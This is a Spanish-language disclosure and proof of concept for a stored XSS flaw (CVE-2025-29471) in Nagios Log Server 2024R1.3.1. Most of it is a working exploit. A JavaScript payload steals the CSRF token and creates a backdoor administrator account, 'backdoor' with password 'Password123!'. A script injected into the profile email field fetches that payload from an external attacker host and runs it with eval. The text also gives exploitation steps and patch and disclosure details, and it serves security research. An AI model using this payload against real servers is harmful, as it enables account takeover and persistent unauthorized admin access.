
XSS almacenado en Nagios Log Server 2024R1.3.1
2024R1.3.1 y anterioresNagios Log Server 2024R1.3.1 (configuración predeterminada, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HSolo para fines de pruebas autorizadas e investigación. No pruebe ni explote esta vulnerabilidad en sistemas que no posea o para los que no tenga permiso explícito.
Una vulnerabilidad de XSS almacenado en Nagios Log Server 2024R1.3.1 permite a un usuario con pocos privilegios inyectar JavaScript malicioso en el campo 'email' de su perfil. Cuando un administrador visualiza los registros de auditoría, el payload se ejecuta, resultando en una escalada de privilegios mediante la creación no autorizada de una cuenta de administrador.
xss.js en tu servidor externo con el siguiente contenido. Github funciona bien.Actualiza <target-ip> con la IP/Hostname del objetivo de Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Inicia sesión en Nagios Log Server como usuario estándar (no administrador).
Navega al endpoint de actualización de perfil:
http://<target-ip>/nagioslogserver/profile/update
Inyecta el siguiente payload en el campo de email. Actualiza la línea fetch con la URL donde se almacena xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor con acceso completo de administrador en Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 resuelve la vulnerabilidad de XSS almacenado y actualizó a NagiosCVE-2025-29471 para esta vulnerabilidad de XSS almacenado, pero los detalles permanecieron sin publicar debido a la ausencia de un aviso de seguridad público por parte del proveedor2024R1.3.2) retroportando la corrección de la vulnerabilidad de XSS almacenado a la rama 2024R1CVE-2025-29471 fue publicado formalmenteEste trabajo fue realizado fuera de mi empleo y refleja mis esfuerzos personales en investigación de ciberseguridad.